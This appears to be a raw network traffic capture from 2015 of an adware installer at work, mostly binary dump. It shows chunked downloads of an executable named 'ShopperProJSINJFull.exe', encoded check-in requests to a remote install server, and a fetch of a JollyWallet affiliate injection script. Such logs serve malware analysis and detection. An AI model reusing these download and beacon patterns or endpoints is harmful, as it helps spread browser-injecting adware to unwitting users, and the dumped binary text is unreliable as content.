WY^..T./..zS&...w....g.x..O.U\$q.S....Y.S%*.7..................W..,^'8
......o..W..Z....Q.U.7bp...l5.E....=P....A.D;45....d.q...Jg....."...&l
t;._&...>(VQ..<......Q..v.....?@,...h...P8..i.<N.......fs5.u.
8...8v..-. .....OG..'O.....3{*1u....P..?TK...!..:...e.......6.N./.....
C...'...V&.].....|.b...\.D..J...Y...n-.j.j...u..G.....B.h.Z......s..dw
...9.\...D....]w.n..r&#...~..q4.St........&..3RC'pO.....p.C.2R..."7..6
x8.'#/..I..S......vd..r......I.9..79..B.4..^}ur....S..s...u2."...~
<<< skipped >>>


GET /ShopperProJSINJFull.exe HTTP/1.1
Range: bytes=0-249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: wvh6rmp-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 12 Feb 2015 05:32:42 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Ps0L58ZMy3uBldgJ2z/8SF9KcfJ/43vMEVcx4ZT3AwEV5eHS6lg47UMUpjNzvT7U1ktAXPOxIJ4=
x-amz-request-id: 217BDE2596E25C59
Last-Modified: Tue, 10 Feb 2015 18:19:58 GMT
ETag: "6152e04b0938a99cd1f7bd825d2eb689"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 0-249999/4701796
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=500000-749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: wvh6rmp-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 12 Feb 2015 05:32:42 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Ps0L58ZMy3uBldgJ2z/8SF9KcfJ/43vMEVcx4ZT3AwEV5eHS6lg47UMUpjNzvT7U1ktAXPOxIJ4=
x-amz-request-id: 217BDE2596E25C59
Last-Modified: Tue, 10 Feb 2015 18:19:58 GMT
ETag: "6152e04b0938a99cd1f7bd825d2eb689"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 500000-749999/4701796
=..,m^ ...B.J.J.h..m..;..m...U..Y.P.G^...........i.<..Pm.6.I.D....#
......5.}.....z....;%.."..de..\.P.#...|..... .&.C..s...i r..~..m.O.(6.
?...K>...........6........j..#.Z......l...OWk>j...Y.......<..
6...;..9.5C.% .J....\T3...".xK.....LI..'].....M.D.\.}.J:...-..].f.]65.
.|L...F...{f.........E..8.*...\....]s3...&.'..~....hq.S.;. ..M..TT..V.
...&..b.*........lT.... 55..Tp6..$AHB....E. T3W.nK..Q..sYg.K...1......
.q.....P.....S! ..mV1M.rH.s.U!. .c....P.[...;t.{...1...a.}.f....I....4
XTKg..j.....O}......r........D..Zre!...k.....y}<0C..X.......qr..RbE
.B:..`V.|..l.d.B...N......W..Z.Q&.......c&...........j.A..BE...3...M.'
f....b{9*..........&...g9.G0....:7.8\$.V...{r.F........a.._...OkR....P
................:...3...,..5...S....U.p.rd.V......z .H.E.I{.p..jw.e..m
.7..=....crf.=t.}&Z.....F.mum...4.a..I%S.pl..~.......s.{.]{..5D.....F.
..!&.>........a.(.e...p,../..F.yf..R...0V....s.`;Q....zx......S."..
2..........L.3.....{W..|z...J.w.....Z.....s..&.l.4.e..U...^.....6Sv.n.
......Nd.R.{....!.............`.....&.`..t......{.U.PL..1..D...@...$qc
..s.JL..f..B^Y...e-=m.w.d...HbG..uW.]W...dCPl;3.*.....D=(.cm}...'.$...
 .....I[.o.....M.M..{..q%...l.....E..(.q.A...`...@"o2..N.?......B:Z...
mR...E..My...z!...#.....x[....;../$}s.......Z......Y..b..f.o.*.q...7xQ
._....O.q..A..!.*...8.E........;.>.'A.&..5.Z.>.*..R..NZ.I.[..;8.
.._L.....vG..Ul....{h.:./.{Z...(....V.S..s.-....".C....Z..2}....3..3..
G..SG.....O...-..g..........|...95.>..sg.....8.%.(.e;6.<...e....
...,.F.....KH.!.h..,Y.y`.:[email protected]"lQ......x.}#W..a.M....>..,%....
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=1250000-1499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: wvh6rmp-su78sj1t.netdna-ssl.com
Connection: Keep-Alive

GET /ShopperProJSINJFull.exe HTTP/1.1
Range: bytes=2250000-2499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: wvh6rmp-su78sj1t.netdna-ssl.com
Connection: Keep-Alive



....P..[1.....$N.z.......W.......B..v<[.*R.....*'...1.....|E.2.5J..
.i$P......#.....6aR.."[email protected].../......MLRQ9lD..d..l..pG..L.Rh
..-..,b.%%....'(........W.8qB..[..n:Z.......C3.....1..`I.H..M.....e..r
...E.e..d.l..2.T.;).B.}|...i.T^..Ksd!...5.h.....my.'..;....u.Ro.d;lv..
..JL.z.`.Z..2.&.......[......u...#....l...wE1.Q8..k(.....d7..:........
-yf.....zd...i.X.QpY.8,%..Qd.~L...<}.p.w..e..}......a.Jq..G........
-X./y)...m..U..}.:..I.Wfa...L.K...8.BS0.[..c...-.oH.V.....d.!..wm.o|@.
!p.......9...`.b....ke.g['.......>...(..z4$........$..RK..i........
..._..".#3?j..g.j...............^.\e....JZ.in,...-z..6.../.Z.>....o
.5.o5.............|.......`^..OW....Ah%...4.p1..|.`...-.........K3).F.
U..)#i.........w.0. .M.-...1.I.......B;.....t...8... .............t...
..6J.{...A...c.{(ZtX1..c....X.W:..o.qY'....{.S.......nhO%.w.i...w...H.
.5i8.v.QU.31Gb......)2.D"..K..L.=r........$.........6S..,..qS].}4.....
.k.}.Y...%R......Be,.H......zJb..T..,.C.P....Hr.w.v..2..s.DCg.*[....!.
..PNc(..|Jk.....R...,Z.....k...W.!.......]H.uG.Y1..q...)......:.U...&g
t;.9..'...r..m.(....L.4G....!.)...a. .x..<....Ar.h..M.%..b:........
..q..#d[....K.cJ...N9..e..%...w..3..[~<...T.n..<u)..o......=m9..
....#..rQ.,Ok$f..w1.t....`.Y.._].Gc..E.u..#~.It...rf^..g.:r....v ..E.T
G... ....v......D.|....p.O;...ku.a8)\.......V{N...!cm.....Lk.l.g.....&
lt;...l...._..a....n]..Hu!.."9.L...m...9V%..I..4Ed...........VU.:.R.R.
.X..d......ZUZ8...;p...kv.6..................;.J....<a..~......]..z
[email protected].).K.Y..*g.G.W|WR..i...&.....=...?.....=..e.3
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=2750000-2999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: wvh6rmp-su78sj1t.netdna-ssl.com
Connection: Keep-Alive



Rx.'..2.....b....8..R9.4...og..'v....~.k...v0..6.O....F/...W..'.[0.:..
..."*..gWI.._........]...b~...7.[........`...._'.......%D.....;..&0:&.
.....V.CxZ....l....h^[email protected]..~.r6H.![.:J.O...q..%.(...
....*.D...3*(.A..)..,.7.c%WV....W......*......v......W...:.85tQ..@qn..
oo.~S.e.... .a..........<.._.-m|.#.2.P.....N..6.. .1SblK...Z..3...M
..F.....o.i.!j..6Y....t..i..<....FE..4ts.. [7d.WoX...l...?.&.r.."s.
..~S.y..C.!.:.C.....e........7g..N_.o....v...eGp?..s..S ......w..*..kw
.w&.H...c..T.....H....a.....%3.i.p.k....N.J.....7..M......r."..q.}Nlr.
......?6..^Si..u|vHOo. .?...}..3......<...%,..o.....Ff...NK @.'....
.5...]..xfM^.avT...y|.z..^.T.8.?BU.I...I.M."....F.....Y...I.B........I
Z..z....=..,..Q..l.v..,O.....1..<...m.0.....u...A..$.z.........]8.!
\`y6........m2......?P....]....&....R../.........w....U3./...p....M...
.....p....o..l.....HB._y...i....7..(..v.K%$..v....[; .......w. poO..r.
uU.....xu..F..C.RP`...~......E..7..oh.C<[email protected]]..`..rW.....=<....
hg...|.K..Zz....q R..&....;w...6C2..{.yC......pn{..{$.).r..Pu..U,..v .
....q...A........4E.;.a...h..Q.i!s\.....w=[8$E. ..U..*.b....|.`>...
.DMF}..!SO0..p.l.....tA....)a7....Bq..........<V.m...#.*.....x:...\
...X. R......zGK.m.$..9.g.%......m....c._...h...f.R.m.ksp2.YVm.t.q....
..H2^x.... ...f.[....,...._..2e.....(.bK...F....Q=.-2.j.V.......'CY_._
..y.".......pw.,$....*.-........7{.<n2=h*...Na.C.....C!W......6... 
W.........&..Ul.q..........b.)......bG.>[email protected].".M.n....q...e
..S..f.......G.G..... ......LO......,..tEAE.O.Z..... }.v.. .]...."
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=3250000-3499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: wvh6rmp-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 12 Feb 2015 05:32:43 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Ps0L58ZMy3uBldgJ2z/8SF9KcfJ/43vMEVcx4ZT3AwEV5eHS6lg47UMUpjNzvT7U1ktAXPOxIJ4=
x-amz-request-id: 217BDE2596E25C59
Last-Modified: Tue, 10 Feb 2015 18:19:58 GMT
ETag: "6152e04b0938a99cd1f7bd825d2eb689"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 3250000-3499999/4701796
y.R\=.....c.....T...NsP...p...."..K...x.......P........0".)..#.|..(d}]
..L.d9........#...)....!..Z.n...:O.$......1..G...T%.D.....c.i..AV>%
..t....;...!..8..R^.=....j...L~...L~...Ja.......F.....<.."pP.d....`
TuS>.q..>...s^2;......{.x1V..E......A.R......r.2Y..{..{.g>...
5....S(z...R.@>....:*.<...X9......`v...\...[E%.y.......Fr)q`....
.tRE... q.=%[email protected]#M.....b.1.#..........[qo.k2F~C.B.........oB\."
.l..5. ......s...~.F.\..QET.R.._y|.q\1.-1D6CT....%.x.T....eF.#......=.
.#..zt.f......_NW..K..y..{....'?@xQ...\.....<.?.A3....=3..`w.[..:b.
L".i.7.#.9........i... .....m.f..S0.I......,..4K...x.( ....TZ5...0_a..
k|d..f[..`.............mZ.i!..~;:.....b.b|.D[.|Vux..'..3_9...J....n...
..8.(...e.a..)...}...Ce$...G.\.K UG..9.Q.Q./.,.....l...?............&l
t;.u.D..$.......'........._{....q.tc..o>C.aU.......\..!74.>..J.&
lt;[email protected]|.....lPO.(c.....M.e.={9..lF....?..t....B.4....=.t,|.....V
Y.}...~....`..w.4K*.._.wcc..j...f.. A..\?..J...K.!.0.Ux..I1...b.^ai...
$.|.)M..yGt.$..@A...=......Z..Z.mSlx..%....3.*.nX..-..z.....98........
.U..8.s..^.....G.I...........9L.rk......#.O.g.Nl....;`..........._(...
.p.P....a.%....S..Z...\W.]...UTm.o..$l.........4..d.......W...........
..p...NN.....g_..,...Y..#.UX......).]H.L{..o!.5<..`.N<-e@;.B....
".......*..8....(......X..P.=...V_........o..PW*u.uW..[.C._.......,.U3
..G!.g...#. S..[...4=.....~9.}[email protected]..\3d......\$..q.....T....?.....
..26.Z.`........OL....=Z..<.IA...h...3u..Y....*\/%.p.Z]P.9..(dj.kO.
.-.....l...{.....nB.mp;.=.:C.0.....?.%$...V....H...1n6........cn.t
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=3750000-3999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: wvh6rmp-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 12 Feb 2015 05:32:43 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Ps0L58ZMy3uBldgJ2z/8SF9KcfJ/43vMEVcx4ZT3AwEV5eHS6lg47UMUpjNzvT7U1ktAXPOxIJ4=
x-amz-request-id: 217BDE2596E25C59
Last-Modified: Tue, 10 Feb 2015 18:19:58 GMT
ETag: "6152e04b0938a99cd1f7bd825d2eb689"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 3750000-3999999/4701796
...l..zX.6...u=.I.o.8..B...c}/3.....Zu......E.\.4.A..0.<u@M........
8i/...*..=K..>....6.i.......B.p..._....2j......._.....a..L...)L.Y.O
.C .x.."....j6..h.....*[email protected]_~cK....j..y.L.#.{..A...3e.~..}@...
4.D...}..y..2#t..F..{7H..&,...-h0n&.1. p...k.s..#/=........R}....q.HE.
[email protected]..,*.g........K.. .WB.y.....B.....RV.....L......F.....an
... ....{....u..;....=O`i.*J....%.^X7.7$2Z.`.?~.E.R.66.b.....W z4.{esb
....*...gl..n.)P...,/....b..c. qAH.. H...Q.G..-........H0lC..v.l!z....
X...n`mi..t.....-.C....B`......rO.`)...Y...."^Q...w.lP...T.D..V..Rl1..
M..$....|...Y.....Z.....G.m4.......P ...m.. k....A.JN!.......{S..(....
}]..H%..l(..7...zv...|.1.).......n...........*V..- ...-l. h.o.;...kC's
..u...;.k.....9.2......M:..E....w...Y..Y..i.... .......5L.PQ.-T.Dr.G.c
k..|=I/..vXX.........}(...E<I.....k.......z...%.n.-6.v.....:....\a.
.....{...x%.....-........3&.}k.m...|...!......<..p..bg..o.@|.p.....
A.hRFq.aq.!n.....L$...i...A'.$..l....tAYv.J*......8........@4... ..A..
.fK.^.t.%.\e..j..Uw..luz.r.`..z9~.W`.bCi. .q......!......j...[i8S.....
.L...=...n.......i....(.Q..Z......W.......Tu<...GG5.G........Ie.6..
.....8.z..3.2p..L.&........F.K....<jcz....y.k...-,.....P.)..*..p.q.
9X.&.:.ay.:'......M..A8.l... .bp<~W.u.g....z!...~m......SN....A*.&l
t;..Y}.)xv...r/..b........E.Q.....;.j......r=....2..0.m.s........7....
.JY..yy..J1..X.r.D..8r)}......J.#.....C..... .n0bb....d.P..O.<f....
....m......cI...1J...e5.V..x.Ln..X......'. .....Z.W.V.......g..]w .<
;McU\.....I.U.y..).'~Z"QQ..q8..|.!...3)[email protected].|!....xLi" B..u.
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=4000000-4249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: wvh6rmp-su78sj1t.netdna-ssl.com
Connection: Keep-Alive



.r[M...L...w....To.nkL...C.)3........\.u._...HV1."}..........M.='i .=.
..UhI;.E.|.L}4....d..'..)A..........q...._..,0.T.....>e.U.mL<...
....6VU...psi%fy..i3..jt....P.R....=...../:.d.bd.^.i ..rx..5w6=..m...X
. Q>r.......%[w..#.;..*..........1........8. -.....!C..U.R..n.....z
.Jl.=.I^...U..{...,......h..^..Y..3.k.l>......wVQ.b...D...1.~.Se.Sv
3......{.{....i.4....)DS^.. ..<......d...M....I.I.?.0.}.b....`.%ho.
.t...62.N....s..%.Gwn..'....uQ.?..OH........m......!..q.w.Q..*......V.
.#.[.y\-l.........=Q..<.0D,.....uUA..f'..9...g...y'..J w.UF.xP...{.
F.........].....0...i..d.....Ws.1@{7.[;!-........w...#.s.hN9...|....e.
H.a$........F.R....A:..." ..7......#...L.O.fS\\.........<..........
.8>.......'.."Ow..D.`...#H0..}j....r.d... ......L...v.....rPz....W.
...E....X......%..*.y.^.......t........3..!.._.J.#.. :....7..;.....k..
7....tb.`.y...$.....M.zZ.^#....Pa...&.N.Q.z..L^.....P.1.[3....._k...v.
.KT.J.ib.z..eM.*..!...u.....g.Zl.!....['......E......:0.. .q....aw.Y.^
.v.ld....T........`.Q....R|.a..#.....3.Sd....G;c........V...c..x3P.^.D
...p.i.p.[j.!-(../..b........?P..............%.s....6|....)..MO....Ib.
.L^.X.-.][email protected]'..q..N=`..T...W..'<....."G..f
.. m;...:[email protected].... t.8../V..[..P`i%..U!...y
...T.H...ngh...W..$..]3......Y..M.4.z.)..i.(]..<[email protected].
.m'|.&..".R.n..9.,....o.d1...B....t/.z...~^...P....u. >.~A1......a.
?\?.<y ...iZ.=6.J..._.v..ZU...;.(6.K.|... . ...w9.u...o0'. ..or..c.
zv#..q...N.=Y.q%..i.R..1..............yA...}..yr..'...<..X;..,.
<<< skipped >>>


GET /mg?alpha=Wz1pHUY2BF1oICkyRjdJZHQrDkMFLm0hBiAwNBoYDjlESwMYAj5mWS94fWlmBllxOktfPRobdU5NJTBUWx4IGDBAOyMENQNjeWlnMW5GJ0kZIW9MGk04PHxGLVNrQlpdbDUWQw5BaXYoWX91GxcHK2xIOltdXlwJBGZ4QBUPfkhMPTU/IQRAAGR5EhEmNx9yTh4leRFcQDsqNBh XmpBfWEBGnQh HTTP/1.1
Connection: Keep-Alive
User-Agent: WinHttpClient
Host: install.sourceapp.info


HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Date: Thu, 12 Feb 2015 05:32:53 GMT
Content-Length: 184392
r2fWlRS1OL7Wbu8a6 lLuD SnRv6cImCX8tQgMUCoCqYx1i6TsTpaNVeqfRX72OTkSz3A7
KFLeIix5xA6Wnj6TOTd4ibVK9nhcU/gjr16RyzPoyYVKs3y6lBik2Bg274as/WA/BFk78m
sTeczAegJK2RLPZX7eQO5jLc2wj8Y/bWN913zcpGuWSCxFPZMfGnVbhnwpEA6DHH x6dS5
GCRbV9mNpF6BHe62a/YYPTEOF7wbgT02yqi0TzMMOREKAgyfwBpRDp5X6NfoLSFI0j06RI
qTmPmCvsJu FV4xLko5b/HXm72WvTpaVOOc31oEDoi2WlRb TO2FXO0k25UeuGfi1TeSIc
HddK9nhcVT2Tnlp0rxaYabCuo3/bhQgE BpFD8ZdGRG6xKiqAvsTeT0BG0LpGUeqVH6csV
5n2VnEr7Ye6HaIUn0dxf4nDSyRXBban7Cv8/mYQdq2iRkW 6bsbLGulnztsD8Am1qjn0e4
7GB60gj4MEw3H6yAXmIsTZf/Vs89E9g3eIm1SvZ4XFP4I69ekcsz6MmFSrN8upQYpNgYNu
 GrP1gPwRZO/JrE3nMwHoCStkSz2V 3kDuYy3NsI/GP21jfdd83KRrlkgsRT2THxp1W4Z8
KRAOgxx/senUuRgkW1fZjaRegR3 Jmv2GD0xDhe8G4E8x2qotE8zDDkRCgIMncIZg70NxQ
oGqc0y2/BOS5T7Msk9ZUqyTStVGMd4WKXbs81MZNpgfEtjLtcJnXEKcXgpwt gOyyRPvPZ
vbVPVw cAckCHNz0eNY5XDGsFt9qpKri7M1hH6NsS2Vo0b3oFZ9XXfnwOvU4ewPr8vjtEA
pjzPi3r2RaqdX7F9lY1L6me4n3C5HvfuAOIpgMEFi3Wq6XWkOImaDOwg3bhImmW4pk3tae
jGT7kJyvE8/HmPxjuiLIbSYvFU5MtKoTTPiVf5dv/BBJA50dwA9GWFzB3PdfakVL4urpUM
4CTWmkyMWo/FAv9n1sBE5gmPoC7qeojHV/kngpwr g2qwh7iMsPbCO5w78Av3S6G0EbsMc
mTXcEj6btD/3HCvDPaBZH1BplYkI8aoyTpylKjRZK2OPN0ltApnxGRnzvbVOXXRK9zwZhe
72fUxD Ud57XV6Jn3IIUmyf1qFK4L7aVFPw3keNKnFWIyxr/acjQRIRKkro8 FaSxhaoY9
mWOfNS7YtE6iLTjl3oZrifNJA519wO7G6IwRKXdaq/VKgundgDqzvX x7QDcjFTOB235Eb
6GOtgB2/OdjTFLcpwcp60kjr1QnwPtGNbsZV88s2niLX5X6NfoLSFI0jxq5UriKPmiTVB9
2wSppNhYtUxVr73VWjZ4m0Lfhn2I9XtSCPhT3RQOXCRLk/wpVetiD/3SKUNtDcRphqnNUU
wW3 vkqxZ8KSF/sx1pdFnVCSgnvxY9nYA/BNh785 DnYyganNoyCPL0b7sYK8DSb21fiY/
nRcMsh1sxHsyeLghiHdaryHvFplI0I7HCJ 2yiarPFFLt228dJ6BHEoDPuYY3GFKgd
<<< skipped >>>

POST /mg?alpha=YTZ6HFt6LBseISMOVTZUXn84D14/dCx XQArfw== HTTP/1.1


Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: WinHttpClient
Content-Length: 250
Host: install.sourceapp.info

alpha=YTZ6HFtlc2thPA0CVTZUXn84D14/JX4gGxo7JxsFNDJXSh4iCS1nRBVzbmh7PFJiO1ZlNgkaaHRGNjFJYRUbGS16MDAFKDloamh6C2VVJlQjKnxNB3czL31bF1h4Q0dnZyYXXjRKenc1Y3RmGgo9IH9JJ2FWTV0UPm1rQQg1dVtNIA80MgVdOm9qEwwcPAxzUyQuahBBejA5NQVEVXlIFiFqLwpCNUp4djRidnoSAjl1Xg0DMHoM
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/plain
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Date: Thu, 12 Feb 2015 05:32:55 GMT
Content-Length: 0



GET /utility.gif?error=mem_strt&report=mini_s&ver=820&action=na&ms_vr=3&clock=3170&rnd=2061 HTTP/1.1
Host: errors.crossrider.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.6.0
Date: Thu, 12 Feb 2015 05:33:47 GMT
Content-Type: image/gif
Content-Length: 43
Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT
Connection: close
GIF89a.............!.......,...........L..;..



GET /jollywallet/resources/js/2/affiliate_client.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: d2cnb4m0nke2lh.cloudfront.net
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: application/x-javascript
Content-Length: 324289
Connection: keep-alive
Accept-Ranges: bytes
Cache-Control: max-age=2592000
Date: Tue, 10 Feb 2015 13:49:41 GMT
ETag: "54d1d1c4-4f2c1"
Expires: Thu, 12 Mar 2015 13:49:41 GMT
Last-Modified: Wed, 04 Feb 2015 08:01:08 GMT
P3P: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa OUR IND DSP CAO COR"
Server: nginx/1.4.7
Age: 143057
X-Cache: Hit from cloudfront
Via: 1.1 3f22ccb0670a6dfd48cff193a28e878c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: Pm0WmhZhh-U1JRD6tZg6CiK_WA1cXAzRRf4to0WYESUX_gZ3iNZV1g==
var jw_db = {};.jw_db.permanentData = {gui:[],actions:[]};.jw_db.perma
nentCache = ["2351f600bf62102c56b3941c39225683","16524241cd11b1b1c6b3a
b30874047d6","d04992ca4d0bbfe57c6e97c4800f9238","ff6e3f4612ef317625de5
eb91140233f","1d60fc858146df68b9f8d259697f499c","886b52137277a7e848070
77888faf95b","2db77d0bbaad6f48449aa2ee75b07b2f","233e5595b16e975bb4ebd
fd25620240a","a03bfb2d9a68853cad303a64fc54c0f0","91405a3e3c688a8e6f846
8949b18f94f","063c233da86fe6f0bb4c9d332f494099","9bd5796c279f448b0b2b3
2b6271d67b2","2fcf8b55874afc412cf42286c4942e81","d0dcf869247f0494e7f38
adab27e2b24","3643877a4cd0aa0891ee77c857736edc","50810685ef885b0b69db8
98cfc21cb5c","5accf3f02fa66d643352b17f8ab4b6ab","a617b2d5a453df6f36bb4
5f8ee71f04c","fcf942edca87bfe44446fe34d744c82c","9f126465c5cbe1db5daaf
20bf9c48d70","854735ed3e7a3479f095f872aa1083ed","e322d423f075b0ab2daad
27011d24909","f35a8740b65be2b1aa45f588f2809377","e0855eba3d87dbf392e3d
39c03c0083e","57366265af8a5fe6f49b9c0045c0ef7a","55058ea77d06c1bbc1bb8
5ead84ee75e","216393b792ea3b89c1666daf538b401c","8875c0ad18932cd6f99c0
14a178095bc","ecf7d41381198413ae06f5a58e85b57f","221984b82e213da7ccccf
719d11bed62","e6227cf2699b80b858c2b6b0b8040b0e","16c6e22ef379cd08414eb
2b44fc43a2e","078e572891c7a1b61e5311f60c3e173b","a37614a97fdc92d9ce573
88e6ebd5d21","1888eb6d6cf6c4750bb928230f12b8c7","965979c853ccb6b26649e
572e23f2bac","f1cdbe22db7f76e446cf35ee1aa4249e","d2c1d0ef9db9fb5fdcb2d
18421eb7a29","37b87b7423bd1a8d4b4d5ba1ef6d50f9","d0b680d5ab632b6cf4578
980231755fa","2b06e417eb37aeea8c3fe76f86fb2013","7e45a0b1b3a4a4795
<<< skipped >>>


GET /ShopperProJSINJFull.exe HTTP/1.1
Range: bytes=250000-499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: wvh6rmp-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 12 Feb 2015 05:32:42 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Ps0L58ZMy3uBldgJ2z/8SF9KcfJ/43vMEVcx4ZT3AwEV5eHS6lg47UMUpjNzvT7U1ktAXPOxIJ4=
x-amz-request-id: 217BDE2596E25C59
Last-Modified: Tue, 10 Feb 2015 18:19:58 GMT
ETag: "6152e04b0938a99cd1f7bd825d2eb689"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 250000-499999/4701796
...............}[email protected].!B..a.P...5o.7..w...".SA....8...&....bp...
R...N...eo-.:.T....<W.._...z<y...tKL.Me...?..p_..............D.i
...#....u".z.Y3.......S11.b.I..j....M.iX.U.....lR.Op..C..........xg...
..5....-S..x.R.....RN..Z..1..$...w.$f........B....m.N........._.....!.
..JwD.H...iw6G.BG..cEL.g.....G...z.^j..y.}.)...P..y.50t..N..,..s%c.Z..
.:..<....x..B.!.{L.^.D..=E.......E.L.k#..lv...i..t..\w..\......*.V.
....h......P.....X ......w.......f..d..n.R...X\...?_US.P*.....H<.F.
@Q|..g...>....Ki..M.?....i<......LE...`:..............^.......S.
Z.:....N..........gsP:.dhk....O#u>..{_kvb....\r.W.8.....f.y..A.....
_.!..d..af(}fS~.?..l.....11..5..p....[..)M..v....W.>..Z...~....m.b.
......q.c...0.....t7.>...a.7l...N..{o..{.............O`.._.n.......
..f.=..x..SU.a.?......*...=\..,.._....D.5..........8.;6E......".....G;
...Jw.u.9..b.3...&.F[2Zt...B...4.(g3X"E.|E/.?=....F.d..<. .....$..?
Az(....nW...vX.K-.......|.p....c..LMWm..t5.. ..e1.7..}f....d..$.......
"-L.....f.......t ....j..\..A.4W.E..ZPY......N.5H...o"."I.-..G..(r3..`
..8E.r..e`.. ....._CCN^.CBH..........0J.......j.o.l..)..-3iy..=.x.....
 ZR..n9.,[..[.X.E|..I.k.z...v...v..B.9...K...\8....D....k.3......C...%
B.,)._.....RQ..D....%B:.=..G...R..`h...]o@.=....v.T...X$...4W... v...K
%..*......x..u......).9.... /......>.Id.EFrH.c..H.h..aV..2~....by&l
t;.k...Q..?..A.m.....{...W.......|!...Y..x... ..&......i.].K8o1....T4|
.<.R.F...^{.v:T..:.Q.z..mZ...[..8K52Mb.4....#.J..........Q....G..6%
.=...I..{...A../c#...g..%....7..Wg'Py....!.m.......oP ....E.U.....
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=750000-999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: wvh6rmp-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 12 Feb 2015 05:32:42 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Ps0L58ZMy3uBldgJ2z/8SF9KcfJ/43vMEVcx4ZT3AwEV5eHS6lg47UMUpjNzvT7U1ktAXPOxIJ4=
x-amz-request-id: 217BDE2596E25C59
Last-Modified: Tue, 10 Feb 2015 18:19:58 GMT
ETag: "6152e04b0938a99cd1f7bd825d2eb689"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 750000-999999/4701796
t.p....(...*f..r...a=...3-.l..g...}5E.F...k.#m.C...);............AH..&
lt;&..&U.{^..|......\..M..H..`...&'./..k9|T......-..q$\:....){.<A.*
